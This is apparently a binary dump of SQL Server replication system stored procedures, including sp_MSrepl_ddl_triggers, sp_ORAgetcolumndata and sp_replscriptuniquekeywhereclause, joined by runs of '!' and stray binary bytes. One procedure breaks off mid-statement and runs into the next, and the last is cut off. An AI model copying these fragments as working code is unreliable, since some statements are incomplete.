				-- Deactivate virtual (but not virtual anonymous) subscriptions at the distributor
				SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSinvalidate_snapshot'
				EXEC @retcode = @distproc 
								@publisher		= @loc_publisher, 
								@publisher_db	= @dbname, 
								@publication	= @publication

				IF @@ERROR <> 0 OR @retcode <> 0
				BEGIN
					GOTO  UNDO
				END
			END


			-- Raise a warning. Snapshot is invalidated. Need to run
			-- snapshot agent again... Only do so if the publication
			-- is not being dropped.
			IF @from_drop_publication = 0
				RAISERROR(20605, 10, -1)
		END
	END
    
    IF @need_reinit_subscription = 1
    BEGIN
        -- Reinitialize the subscriptions if there are any.
        -- No need to reinit no_sync subscriptions.
        -- The query below works for an article or whole publication (@artid == 0)
        -- Including virtual subscriptions to take care anonymous.
        IF EXISTS
        (
        	SELECT	*
        	FROM	syssubscriptions s
        	WHERE	s.status = @active
			-- Only include virtual subscription if allow anonymous
			  AND	(s.srvid >= 0 OR (@allow_anonymous = 1 AND @immediate_sync_ready = 1))
			  AND	s.sync_type <> @none
			  AND	(s.artid = @artid OR 
            			(@artid = 0 AND EXISTS 
							(
								SELECT	*
								FROM	syspublications p,
										sysarticles a
								WHERE	a.artid = s.artid
								  AND	a.pubid = p.pubid
								  AND	p.pubid = @pubid
							)
						)
					)
		)
        BEGIN
            -- Fail and raiserror error
            IF @force_reinit_subscription = 0
            BEGIN
                RAISERROR(20608, 16, -1)
                GOTO  UNDO
            END

            IF @check_only = 0 
            BEGIN
                EXEC @retcode = sys.sp_reinitsubscription	@publication		= @publication, 
															@article			= @article,
															@subscriber			= 'all',
															@for_schema_change	= 1,
															@publisher			= @publisher
															,@ignore_distributor_failure = @ignore_distributor_failure

                IF @@ERROR <> 0 OR @retcode <> 0
                BEGIN
                    GOTO UNDO
                END

                -- Raise a warning. Subscriptions is reintialized.
                RAISERROR(20606, 10, -1)
            END
        END
    END

    COMMIT TRAN sp_MSreinit_article
    
    RETURN 0
UNDO:
    IF @@TRANCOUNT > 0
    BEGIN
        ROLLBACK TRAN sp_MSreinit_article
        COMMIT TRAN 
    END
    RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<=0 P8h>Q0 8CREATE FUNCTION sys.fn_ft_wordbreaker(@lcid int, @accent_sensitive int, @phrase nvarchar(513))
RETURNS TABLE
AS
	RETURN SELECT * FROM OpenRowset(TABLE FTWORDBREAKER, @lcid, @accent_sensitive, @phrase)
0/ `8create procedure sys.sp_MSrepl_ddl_triggers 
(
	@type varchar(5)	-- valid input is 'merge' or 'tran'
	,@mode varchar(4) -- valid input is 'add' or 'drop'
)
AS
begin
    declare @retcode int
    			,@type_id int  -- 1 is for tran, 2 is for merge
    			,@mode_id int -- 1 is add, 2 is drop
    			


    -- deligate to sp_MSmerge(tran)_* counterparts
    declare @events table (event_name nvarchar(4000), proc_name sysname, procmapid int)
    insert into @events values (N'ALTER_TABLE', N'altertable', 1)
    insert into @events values (N'ALTER_VIEW', N'alterview', 2)
    insert into @events values (N'ALTER_FUNCTION, ALTER_PROCEDURE', N'alterschemaonly', 3)
    insert into @events values (N'ALTER_TRIGGER', N'altertrigger', 4)
    
    declare @alter_table_trigger sysname
				,@event_name nvarchar(4000)
				,@proc_name sysname
				,@cmd nvarchar(4000)
				,@procmapid int

	--
	-- check input, first @type, then @mode
	--
	IF lower(@type) = 'tran' 
	BEGIN
		set @type_id = 1
	END
	ELSE IF lower(@type) = 'merge' 
	BEGIN
		set @type_id = 2
	END
	ELSE
	BEGIN
	    RAISERROR(14138,16,-1,@type)
	    RETURN(1)
	END
    
	IF lower(@mode) = 'add' 
	BEGIN
		set @mode_id = 1
	END
	ELSE IF lower(@mode) = 'drop' 
	BEGIN
		set @mode_id = 2
	END
	ELSE
	BEGIN
	    RAISERROR(14138,16,-1,@mode)
	    RETURN(1)
	END
	
	--
	--cursor through list of events we support
	--
	declare #event_cur cursor LOCAL FAST_FORWARD for
		select event_name, proc_name, procmapid from @events
	open #event_cur
	fetch #event_cur into @event_name, @proc_name, @procmapid
	while (@@fetch_status = 0)
	begin 
		--
		--build trigger name
		--
		select @alter_table_trigger = case @type_id 
															when 1 then N'tr_MStran_'
															when 2 then N'MSmerge_tr_'
														end
													+ @proc_name
		
		--
		--drop trigger
		--
		if (@mode_id = 2) and exists (select * from sys.triggers where name = @alter_table_trigger)
		begin
			select @cmd =  N'drop trigger ' + @alter_table_trigger + '  on database'
			exec (@cmd)
		end
		--
		--create trigger
		--
		else	if (@mode_id = 1) and not exists (select * from sys.triggers where name = @alter_table_trigger)
		begin
			-- no dbo. here since 
			-- you cannot specify schema name as a prefix to the trigger name for database and server level triggers.
			select @cmd = N'create trigger ' + @alter_table_trigger + 
			            ' on database for ' + @event_name + 
			            ' as 

							set ANSI_NULLS ON
							set ANSI_PADDING ON
							set ANSI_WARNINGS ON
							set ARITHABORT ON
							set CONCAT_NULL_YIELDS_NULL ON
							set NUMERIC_ROUNDABORT OFF
							set QUOTED_IDENTIFIER ON

							declare @EventData xml
							set @EventData=EventData()    
							exec ' + case @type_id when 1 then N'sys.sp_MStran_ddlrepl ' 
			            											when 2 then N'sys.sp_MSmerge_ddldispatcher ' 
			            				end
			            	+ N'@EventData, ' + cast(@procmapid as nvarchar(10)) 
			exec (@cmd)
			if @@ERROR<>0
			begin
				if (@type_id = 2)	
					raiserror(21532, 16, -1, @event_name)
				else if (@type_id = 1)
					raiserror(21722, 16, -1, @event_name)
				return (1)
			end
			-- mark as ms shipped, no need to escape on @alter_table_trigger, we build this tring here
		    execute sp_MS_marksystemobject @alter_table_trigger , 'database'
		    if @@ERROR<>0 
			begin
				raiserror(21542, 16, 1, @@error, 'sp_MS_marksystemobject')
				return (1)
			end
        end
        fetch #event_cur into @event_name, @proc_name, @procmapid
    end
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`a
<d-5:e08G@ 8create procedure sys.sp_MSdropmqforsubscription
(
    @queueserver sysname        -- server name for created queue
    ,@queueid sysname              -- queue id for created queue
)
as
begin
    declare @retcode int
                ,@qservicestatus int

    --
    -- Check if the MSMQ service is running, if not running, 
    -- return with error
    -- BYPASS the check for clusters
    --
    if ( SERVERPROPERTY('IsClustered') = 0 )
    begin
        exec @retcode = sys.xp_controlqueueservice 
                            @control_command = 1,
                            @return_result = @qservicestatus output
        if (@retcode != 0 or @@error != 0)
        begin
            raiserror(21542, 16, 1, @@error, 'xp_controlqueueservice')
            return 1
        end
        if (@qservicestatus != 1)
        begin
            raiserror(21763, 16, 1)
            return 1
        end
    end
    --
    -- delete local private queue
    --
    exec @retcode = sys.xp_deleteprivatequeue @queueserver, @queueid
    if (@retcode != 0 or @@error != 0)
    begin
        raiserror(21542, 16, 2, @@error, 'xp_deleteprivatequeue')
        return 1
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4q6vTM
--
-- Name:    
--          sp_ORAgetcolumndata
--          
-- Description: 
--          Queries Oracle publisher for column info for specific table
--
-- Inputs:
--		@owner			== owner of table
--		@tablename		== name of temp table
--		@publisher		== publisher
--		@fordiagnosis	== Defaults to 0. Set to 1 if sp_ORAgetcolumndata is being called from sp_ORAvalidatecache.
--                         When set, filters that normally constrain the set of eligible tables are not applied to
--                         the returned result set.
--
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure + temp table
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAgetcolumndata
(
	@owner		sysname,
	@tablename	sysname,	
	@publisher	sysname,
	@fordiagnosis bit = 0   
 )
AS	
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode			int
	DECLARE @InsColumnList		nvarchar(2000)
	DECLARE @SelectColumnList	nvarchar(2000)
	DECLARE @version			sysname

	-- Get Oracle version
	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @version OUTPUT
										
	IF @retcode <> 0 OR @@error <> 0
	BEGIN
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	--
	-- populate a temp table with a list of table columns from the Oracle publisher
	-- this will be used by sp_IHsyncmetadata to populate IHpublishercolumns
	--
	SELECT @InsColumnList    = 'name,column_ordinal,type,length,prec,scale,isnullable,iscaptured'
	SELECT @SelectColumnList = 'COLUMN_NAME,COLUMN_ID,DATA_TYPE,DATA_LENGTH,DATA_PRECISION,DATA_SCALE,NULLABLE,0'

	INSERT INTO #hquery(cmd) VALUES ('SELECT COLUMN_NAME,COLUMN_ID,')

    -- DATA_TYPE - special case for TIMESTAMP in Oracle 9+
    IF @version LIKE '8.%'
    BEGIN
        INSERT INTO #hquery(cmd) VALUES ('DATA_TYPE,')
    END
    ELSE
    BEGIN
        INSERT INTO #hquery(cmd) VALUES ('CASE WHEN DATA_TYPE LIKE ''TIMESTAMP% WITH TIME ZONE'' THEN ''TIMESTAMP WITH TIME ZONE'' WHEN DATA_TYPE LIKE ''TIMESTAMP% WITH LOCAL TIME ZONE'' THEN ''TIMESTAMP WITH LOCAL TIME ZONE'' WHEN DATA_TYPE LIKE ''TIMESTAMP%'' THEN ''TIMESTAMP'' ELSE DATA_TYPE END AS DATA_TYPE,')
    END
	INSERT INTO #hquery(cmd) VALUES ('DECODE(CHAR_COL_DECL_LENGTH,NULL,DATA_LENGTH,CHAR_COL_DECL_LENGTH) AS DATA_LENGTH,')
	INSERT INTO #hquery(cmd) VALUES ('DATA_PRECISION,DATA_SCALE,')
	INSERT INTO #hquery(cmd) VALUES ('DECODE(NULLABLE,''Y'',1,0) AS NULLABLE ')
	INSERT INTO #hquery(cmd) VALUES ('FROM ALL_TAB_COLUMNS ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE table_name=' + QUOTENAME(@tablename, ''''))
	INSERT INTO #hquery(cmd) VALUES (' and owner=' + QUOTENAME(@owner, ''''))
    
	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#publishercolumns',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 or @retcode <> 0
		RETURN (1)

	--
	-- populate a temp table with a list of table constraints from the Oracle publisher
	-- this will be used by sp_IHaddarticle to populate IHpublisherconstraints
	-- If not being called for validation, filter out constraints that are not 'VALID',
	-- 'ENABLED', and 'VALIDATED'.
	-- 
	SELECT @InsColumnList    = 'constraint_name,constraint_type,table_owner,table_name,index_owner,index_name,column_name,column_position,validated,cons_status,idx_status'
	SELECT @SelectColumnList = 'CONSTRAINT_NAME,CONSTRAINT_TYPE,OWNER,TABLE_NAME,INDEX_OWNER,INDEX_NAME,COLUMN_NAME,POSITION,VALIDATED,CONSSTATUS,IDXSTATUS'
	
	TRUNCATE TABLE #hquery
	
	IF @version LIKE '8.%'
	BEGIN

		-- If an index for the table exists, having the same name as the constraint name,
		-- identify it as the index associated with the primary key constraint. 

		INSERT INTO #hquery(cmd) VALUES ('SELECT CONS.CONSTRAINT_NAME,CONS.CONSTRAINT_TYPE,COLS.OWNER,COLS.TABLE_NAME,IDX.OWNER AS INDEX_OWNER,')
		INSERT INTO #hquery(cmd) VALUES ('IDX.INDEX_NAME,COLS.COLUMN_NAME,COLS.POSITION,CONS.VALIDATED,CONS.STATUS AS CONSSTATUS,IDX.STATUS AS IDXSTATUS')
		INSERT INTO #hquery(cmd) VALUES ('FROM ALL_CONS_COLUMNS COLS,ALL_CONSTRAINTS CONS, ALL_INDEXES IDX ')
		INSERT INTO #hquery(cmd) VALUES ('WHERE CONS.CONSTRAINT_NAME=COLS.CONSTRAINT_NAME ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.OWNER=COLS.OWNER ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.TABLE_NAME=CONS.TABLE_NAME ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.OWNER=IDX.TABLE_OWNER (+) ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.TABLE_NAME=IDX.TABLE_NAME (+) ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.CONSTRAINT_NAME=IDX.INDEX_NAME (+) ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.TABLE_NAME=' + QUOTENAME(@tablename, ''''))
		INSERT INTO #hquery(cmd) VALUES (' AND CONS.OWNER=' + QUOTENAME(@owner, ''''))
		INSERT INTO #hquery(cmd) VALUES (' AND CONS.CONSTRAINT_TYPE=''P''')
		INSERT INTO #hquery(cmd) VALUES (' AND COLS.OWNER=' + QUOTENAME(@owner, ''''))
		INSERT INTO #hquery(cmd) VALUES (' AND COLS.TABLE_NAME=' + QUOTENAME(@tablename, ''''))
		
		IF @fordiagnosis = 0
		BEGIN
			INSERT INTO #hquery(cmd) VALUES (' AND CONS.STATUS=''ENABLED'' ')
			INSERT INTO #hquery(cmd) VALUES (' AND CONS.VALIDATED=''VALIDATED'' ')
		END
	END
	ELSE
	BEGIN
		INSERT INTO #hquery(cmd) VALUES ('SELECT CONS.CONSTRAINT_NAME,CONS.CONSTRAINT_TYPE,COLS.OWNER,COLS.TABLE_NAME,DECODE(CONS.INDEX_OWNER,NULL,COLS.OWNER,CONS.INDEX_OWNER) AS INDEX_OWNER,')
		INSERT INTO #hquery(cmd) VALUES ('CONS.INDEX_NAME,COLS.COLUMN_NAME,COLS.POSITION,CONS.VALIDATED,CONS.STATUS AS CONSSTATUS,IDX.STATUS AS IDXSTATUS ')
		INSERT INTO #hquery(cmd) VALUES ('FROM ALL_CONS_COLUMNS COLS,ALL_CONSTRAINTS CONS, ALL_INDEXES IDX ')
		INSERT INTO #hquery(cmd) VALUES ('WHERE COLS.CONSTRAINT_NAME=CONS.CONSTRAINT_NAME ')
		INSERT INTO #hquery(cmd) VALUES ('AND CASE WHEN CONS.INDEX_OWNER IS NOT NULL THEN CONS.INDEX_OWNER ELSE CONS.OWNER END = IDX.OWNER ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.INDEX_NAME=IDX.INDEX_NAME ')
		INSERT INTO #hquery(cmd) VALUES ('AND CONS.TABLE_NAME=' + QUOTENAME(@tablename, ''''))
		INSERT INTO #hquery(cmd) VALUES (' AND CONS.OWNER=' + QUOTENAME(@owner, ''''))
		INSERT INTO #hquery(cmd) VALUES (' AND CONS.CONSTRAINT_TYPE=''P''')
        INSERT INTO #hquery(cmd) VALUES (' AND COLS.OWNER=' + QUOTENAME(@owner, ''''))
        INSERT INTO #hquery(cmd) VALUES (' AND COLS.TABLE_NAME=' + QUOTENAME(@tablename, ''''))
		
		IF @fordiagnosis = 0
		BEGIN
			INSERT INTO #hquery(cmd) VALUES (' AND CONS.STATUS=''ENABLED'' ')
			INSERT INTO #hquery(cmd) VALUES (' AND IDX.STATUS=''VALID'' ')
			INSERT INTO #hquery(cmd) VALUES (' AND CONS.VALIDATED=''VALIDATED'' ')
		END		
	END

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#constraints',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 or @retcode <> 0
		RETURN (1)
	
	--
	-- populate a temp table with a list of table indexes from the Oracle publisher
	-- this will be used by sp_IHaddarticle to populate IHpublisherindexes
	--		
	SELECT @InsColumnList    = 'index_name,index_owner,uniqueness,column_name,column_position,index_status'
	SELECT @SelectColumnList = 'INDEX_NAME,OWNER,UNIQUENESS,COLUMN_NAME,COLUMN_POSITION,IDXSTATUS'
	
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery(cmd) VALUES ('SELECT IDX.INDEX_NAME,IDX.OWNER,IDX.UNIQUENESS,IDXCOL.COLUMN_NAME,IDXCOL.COLUMN_POSITION,IDX.STATUS AS IDXSTATUS')
	INSERT INTO #hquery(cmd) VALUES ('FROM ALL_INDEXES IDX,ALL_IND_COLUMNS IDXCOL ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE IDX.INDEX_NAME=IDXCOL.INDEX_NAME AND IDX.OWNER=IDXCOL.INDEX_OWNER ')
	INSERT INTO #hquery(cmd) VALUES ('AND ((IDX.INDEX_TYPE=''NORMAL'') OR (IDX.INDEX_TYPE=''IOT - TOP'')) ')
	INSERT INTO #hquery(cmd) VALUES ('AND IDX.TABLE_NAME=' + QUOTENAME(@tablename, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
vtcreate procedure sys.sp_replscriptuniquekeywhereclause 
(
    @tabid int                                  -- id of the table
    ,@artid int                                 -- id of the article
    ,@prefix nvarchar(10) = '@c'       -- prefix for the scripted column variables
    ,@suffix nvarchar(10) = null	   -- suffix for the scripted column variables
    ,@mode tinyint                           
    -- 1 = insert custom proc, 
    -- 2 = upd custom proc non PK (VCALL), 
    -- 3 = upd custom proc non PK (XCALL), 
    -- 4 = compensating where all keys, 
    -- 5 = compensating where non PK keys, 
    -- 6 = refresh cursor all keys,
    -- 7 = refresh cursor non PK keys
    -- 8 = compensating where PK only
    -- 9 = upd custom proc PK only (XCALL), 
    ,@paramcount int = null              -- Total number of parameters - needed for mode = 2 and 3
    ,@skipindexesonudtcolumns bit = 0
 )
as
begin
    set nocount on
    declare @retcode int
                ,@indid int
                ,@is_primary_key bit
                ,@indkey int
                ,@qualname nvarchar(517)
                ,@colname sysname
                ,@var sysname
                ,@artcol int
                ,@thiscol int
                ,@cmd nvarchar(4000)
                ,@findexstarted bit
                ,@fisfirstindex bit
                ,@fskipcomputedcols bit
                ,@emptywhereclauselength int
    --
    -- constants
    --
                ,@modeinscustproc tinyint
                ,@modeupdcustprocnonpkvcall tinyint
                ,@modeupdcustprocnonpkxcall tinyint
                ,@modecompensatingallkeys tinyint
                ,@modecompensatingnonpkkeys tinyint
                ,@modecompensatingpkonly tinyint
                ,@moderefreshcursordeclareallkeys tinyint
                ,@moderefreshcursordeclarenonpkkeys tinyint
                ,@modeupdcustprocpkonlyxcall tinyint

    --
    -- initialize
    --
    select @modeinscustproc = 1
            ,@modeupdcustprocnonpkvcall = 2
            ,@modeupdcustprocnonpkxcall = 3
            ,@modecompensatingallkeys = 4
            ,@modecompensatingnonpkkeys = 5
            ,@moderefreshcursordeclareallkeys = 6
            ,@moderefreshcursordeclarenonpkkeys = 7
            ,@modecompensatingpkonly = 8
            ,@modeupdcustprocpkonlyxcall = 9
    --
    -- security check - should be dbo or sysadmin
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@error != 0 or @retcode != 0
        return (1)
    --
    -- process if the object is a table and has index
    --
    if (ObjectProperty(@tabid, 'IsTable') != 1) or (ObjectProperty(@tabid, 'TableHasIndex') != 1)
        return (1)
    --
    -- Get the qualified name of the table
    --
    exec @retcode = sp_MSget_qualified_name @tabid, @qualname OUTPUT
    if @@error != 0 or @retcode != 0 or @qualname is null
        return (1)
    --
    -- @artid cannot be null
    --
    if (@artid is null)
        return (1)
    --
    -- Check @mode
    --
    if (@mode not in (@modeinscustproc, @modeupdcustprocnonpkvcall, @modeupdcustprocnonpkxcall,
                                @modeupdcustprocpkonlyxcall, @modecompensatingallkeys, @modecompensatingnonpkkeys, 
                                @moderefreshcursordeclareallkeys, @moderefreshcursordeclarenonpkkeys,
                                @modecompensatingpkonly))
    begin
        return (1)
    end
    --
    -- validate @paramcount
    --
    if ((@mode in (@modeupdcustprocnonpkxcall,@modeupdcustprocpkonlyxcall)) and (@paramcount is null))
    begin
        return (1)
    end
    --
    -- enumerate indices
    -- The scripting will be done as follows :
    -- A) all keys will include PK and all unique keys
    --      where (pk1 = @cv and pk2 = @cw ...) or (ui1k1 = @cx and ui1k2 = @cy ...) or (u2k1 = @cz and ...) ...
    -- B) non PK keys will use only the unique keys that are not part of PK
    --      where (ui1k1 = @cx and ui1k2 = @cy ...) or (u2k1 = @cz and ...) ...
    --
    select @cmd = case when (@mode in (@modecompensatingallkeys, @modecompensatingnonpkkeys, @modecompensatingpkonly)) 
                            then N' N'' where '
                            else N' where ' end
            ,@findexstarted = 0
            ,@fisfirstindex = 1
            ,@fskipcomputedcols = 1
    set @emptywhereclauselength = datalength(@cmd)
    declare #hcindid cursor local fast_forward for
        select index_id, is_primary_key 
          from sys.indexes indexes
         where object_id = @tabid 
           and is_unique = 1
           and index_id > 0 and index_id < 255
           and (@skipindexesonudtcolumns = 0 or not exists (select index_columns.index_id
                                                              from sys.index_columns index_columns
                                                        inner join sys.columns columns
                                                                on index_columns.object_id = columns.object_id
                                                               and index_columns.index_id = indexes.index_id
                                                               and index_columns.column_id = columns.column_id
                                                               and index_columns.object_id = @tabid
                                                        inner join sys.types types
                                                                on columns.system_type_id = types.system_type_id
                                                               and columns.user_type_id = types.user_type_id
                                                               and types.is_assembly_type = 1))
           order by index_id asc
    open #hcindid
    fetch #hcindid into @indid, @is_primary_key
    while (@@fetch_status != -1)
    begin
        --
        -- If we are in (@modeupdcustprocnonpkvcall, @modeupdcustprocnonpkxcall, @modecompensatingnonpkkeys, 
        -- @moderefreshcursordeclarenonpklkeys) mode then skip processing the PK index.
        -- If we are in (@modeupdcustprocpkonlyxcall, @modecompensatingpkonly) mode 
        -- skip processing the non PK index
        --
        if ((@mode in (@modeupdcustprocnonpkvcall, @modeupdcustprocnonpkxcall, @modecompensatingnonpkkeys,
                    @moderefreshcursordeclarenonpkkeys)) and (@is_primary_key = 1) 
            or (@mode in (@modeupdcustprocpkonlyxcall, @modecompensatingpkonly)) 
                and (@is_primary_key = 0))
        begin
            --
            -- fetch next unique index
            --
            fetch #hcindid into @indid, @is_primary_key
            continue
        end
        --
        -- Enumerate the keys in this index
        --
        select @indkey = 1
        while (@indkey <= 16)
        begin
            --
            -- get the column name for the key
            --
            select @colname = index_col(@qualname, @indid, @indkey)
            if (@colname is null) 
                break
            --
            -- check if this column is enabled for replication
            --
            select @artcol = 0
            exec sp_MSget_col_position @tabid, @artid, @colname, NULL, @artcol output, 0, NULL, @thiscol output, @fskipcomputedcols
            if (@artcol > 0)
            begin
                --
                -- check if we are scripting the first key for this index
                --
                if (@findexstarted = 1)
                begin
                    select @cmd = case when (@mode in (@modecompensatingallkeys, @modecompensatingnonpkkeys, @modecompensatingpkonly)) 
                                            then @cmd + N' + N'' and '
                                            else @cmd + N' and ' end
                end
                else
                begin
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(?Qtvt                  --
                    -- check if we are scripting the first index. 
                    --
                    if (@fisfirstindex = 0)
                    begin
                        select @cmd =  @cmd + N' or ' 
                    end
                    else
                    begin
                        select @fisfirstindex = 0
                    end
                    --
                    -- set @findexstarted while processing the first key
                    --
                    select @findexstarted = 1
                    select @cmd = @cmd + N' ( ' 
                end
                --
                -- script this column
                --
                if (@mode in (@modecompensatingallkeys, @modecompensatingnonpkkeys, @modecompensatingpkonly))
                begin
                    --
                    -- scripting a delete compensating command for synctran proc - we are building a dynamic string
                    -- case when @c<this_col> is null then '[col<this_col>] is null' else '[col<this_col>] = @c<this_col>' end
                    --
                    declare @ccoltype sysname

                    select @var = @prefix + cast(@thiscol as nvarchar(10))
                    if (@suffix is not null)
                        select @var = @var + @suffix
                    select @cmd = @cmd + N''' + case when ( ' + @var + N' is null) then  N'' ' + sys.fn_replreplacesinglequote(quotename(@colname)) + N' is null '' else N'' ' + sys.fn_replreplacesinglequote(quotename(@colname))
                    exec sp_MSget_colinfo @tabid, @thiscol, @artid, 0, NULL, @ccoltype output
                    if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'varchar' )
                        select @cmd = @cmd + N' = '''''' + CAST( sys.fn_replreplacesinglequote(' + @var + N') collate database_default as varchar) + '''''''' end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'nvarchar')
                        select @cmd = @cmd + N' = N'''''' + sys.fn_replreplacesinglequote(' + @var + N') collate database_default + '''''''' end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'char')
                        select @cmd = @cmd + N' = '''''' + sys.fn_replreplacesinglequote(CAST(RTRIM(' + @var + N') as nvarchar)) collate database_default + '''''''' end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'nchar')
                        select @cmd = @cmd + N' = N'''''' + sys.fn_replreplacesinglequote(CAST(RTRIM(' + @var + N') as nvarchar)) collate database_default + '''''''' end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('binary','varbinary'))
